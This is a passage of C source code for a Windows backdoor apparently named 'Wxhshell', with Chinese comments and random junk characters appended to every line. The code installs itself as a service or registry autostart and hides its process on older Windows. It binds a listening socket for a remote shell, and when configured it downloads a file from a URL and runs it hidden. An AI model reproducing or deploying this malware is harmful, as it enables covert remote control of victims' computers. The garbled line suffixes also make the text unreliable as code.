ULONG UniqueProcessId; P66>w})@
ULONG InheritedFromUniqueProcessId; jGId)f!)
} PROCESS_BASIC_INFORMATION; 6B&':N98
GSsot%B u"
PROCNTQSIP NtQueryInformationProcess; ^;M!u8 [
e4t'3So
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b}Jcj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r@ ]{`qA
A+AqlM+$i
HANDLE hProcess; r'"H8>UZ%
PROCESS_BASIC_INFORMATION pbi; uSH.c>
(JOge~U
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1aKY+4/G
if(NULL == hInst ) return 0; v]BN. SHE_
`uY77co6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (c_E*>c)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P)4SrqW_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H_Vf_p?
+as(m
if (!NtQueryInformationProcess) return 0; Hq OzArp3
XfharJ_b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aqtQGK57"%
if(!hProcess) return 0; C/!kMMh>vV
nF]lSg&]X
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c<|;<8ew
K.B!-<
CloseHandle(hProcess); rF'q\tJDz
3nMXfh/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w!7Hl9BW
if(hProcess==NULL) return 0; ZJ1%
;
&$djP
HMODULE hMod; J#"@~Q+a`@
char procName[255]; v="i0lL_
unsigned long cbNeeded; *Mk5*_
NvY%sx,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sSU p7V
Y<odXFIS
CloseHandle(hProcess); r$d,ChzQn?
zyTeF~_
if(strstr(procName,"services")) return 1; // 以服务启动 Xi$2MyRd
sk6C/ '0:
return 0; // 注册表启动 B
E!HM{-
} r Z%l?(
~"xc
3(h
// 主模块 [7oU =
int StartWxhshell(LPSTR lpCmdLine) )cxLpTr
{ K_;'-B
SOCKET wsl; ]y:2OP
BOOL val=TRUE; +/E`u|%|\]
int port=0; 4-1=1)c*
struct sockaddr_in door; 7M9Ey29f
j&~`H:=E
if(wscfg.ws_autoins) Install(); =f4>vo}@k
JlR(U."
port=atoi(lpCmdLine); ,6J]oX
'W(!N%u
if(port<=0) port=wscfg.ws_port;
j#6@cO'`
WSADATA data; 2[zFKK
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5FKb7
Z#+lwZD
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CEzwI _
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iEjUo,
Y[
door.sin_family = AF_INET; F|nJ3:v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <2{g[le
door.sin_port = htons(port); DC+p
s
3
vr T`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qu]F<H*Y|
closesocket(wsl); <a_ytSoG1
return 1; I54`}Npp
} iW oe
2Tt^^Lb
if(listen(wsl,2) == INVALID_SOCKET) { 2z#gn9Wb
closesocket(wsl); o y{
{d
return 1; (@X].oM^y
} TuR.'kE@
Wxhshell(wsl); `,~8(rIM
WSACleanup(); "0Ca;hSLM2
IHC
{2 ^
return 0; xQ~}9Kt\
,0k3Qi%
} 4@0y$Dv\
bMU0h,|]
// 以NT服务方式启动 : ZehBu
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *{TB<^ *
{ 9\f%+?p
DWORD status = 0; M4rI]^lJ
DWORD specificError = 0xfffffff; df9jT?l
~&{LMf
serviceStatus.dwServiceType = SERVICE_WIN32; pd%h5|*n;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'fo.1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ):<9j"Z;At
serviceStatus.dwWin32ExitCode = 0; 'TwvkU"
serviceStatus.dwServiceSpecificExitCode = 0; S1SsJo2\
serviceStatus.dwCheckPoint = 0; 5|:t$
serviceStatus.dwWaitHint = 0; 4 s&9A/&pC
$OGTHJA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s\/$`fuhx
if (hServiceStatusHandle==0) return; JA!?vs
>/J!:Htk+K
status = GetLastError(); 0*y|k1
if (status!=NO_ERROR) I)s~kA.e
{ KdN+$fe*g
serviceStatus.dwCurrentState = SERVICE_STOPPED; v2K6y|6,
serviceStatus.dwCheckPoint = 0; _4^#VD#f
serviceStatus.dwWaitHint = 0; NLnfCY-h
serviceStatus.dwWin32ExitCode = status; ^t0Yh%V7
serviceStatus.dwServiceSpecificExitCode = specificError; SyL:=NZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ']Z1n b
return; 9lU"m_
QT4
} ]'q"Kw/10
Fm-D>PR
serviceStatus.dwCurrentState = SERVICE_RUNNING; `bAOhaB,/
serviceStatus.dwCheckPoint = 0; F4:giu ht
serviceStatus.dwWaitHint = 0; ^s.necg0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vXI2u;=y
} {)KH%
"Qci+Qq
// 处理NT服务事件,比如:启动、停止 iCXKi7
VOID WINAPI NTServiceHandler(DWORD fdwControl) RvXK?mL4F
{ :n0czO6E
switch(fdwControl) o W<Z8s;p
{ MdKkj[#
case SERVICE_CONTROL_STOP: ;:Kd?Tz$
serviceStatus.dwWin32ExitCode = 0; A,fP l R
serviceStatus.dwCurrentState = SERVICE_STOPPED; Gq)E,Ln&d
serviceStatus.dwCheckPoint = 0; veq.48E]
serviceStatus.dwWaitHint = 0; <h"07.y
{ P,RdYM06
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hf('4^
} |i~Ab!*8n
return; DuvI2ZWP]
case SERVICE_CONTROL_PAUSE: (?W[#.=7
serviceStatus.dwCurrentState = SERVICE_PAUSED; q\uzmOh
break; #t8{z~t3
case SERVICE_CONTROL_CONTINUE: )}3!iDA
serviceStatus.dwCurrentState = SERVICE_RUNNING; W`k||U9
break; 0YsBAfRG
case SERVICE_CONTROL_INTERROGATE: nm}wdel"
break; SI"y&[iw
}; '.$va<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hO?RsYJ.F
} ps@;Z?Q
1&2X*$]y
// 标准应用程序主函数 ;)7 GdR^K
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~tM+!
{ UB8TrYra
hW Va4
// 获取操作系统版本 }<=4A\LZ
OsIsNt=GetOsVer(); ,Nk{AiiN
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5&Vp(A[m[
\+3P<?hD#
// 从命令行安装 =k0qj_
if(strpbrk(lpCmdLine,"iI")) Install(); Y(U+s\X
?7k%4~H t
// 下载执行文件 =jEh#
if(wscfg.ws_downexe) { yRdME>_L
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aePLP
WinExec(wscfg.ws_filenam,SW_HIDE); aMq|xHZ
} ]IQ`.:g=9
3;-P (G@
if(!OsIsNt) { @!np
0#
// 如果时win9x,隐藏进程并且设置为注册表启动 ~9Jlb-*I5
HideProc(); |XV@/ZGl~
StartWxhshell(lpCmdLine); 0 v>*P*
} .z6"(?~
else bsosva+
if(StartFromService()) .?^a|]
// 以服务方式启动 9]]isE8r
StartServiceCtrlDispatcher(DispatchTable); CtO;_;eD'
else 0; PV gO;9
// 普通方式启动 vCe]iB
StartWxhshell(lpCmdLine); ^|kqy<<X
yKb+bm&5:'
return 0; NpLO_-
}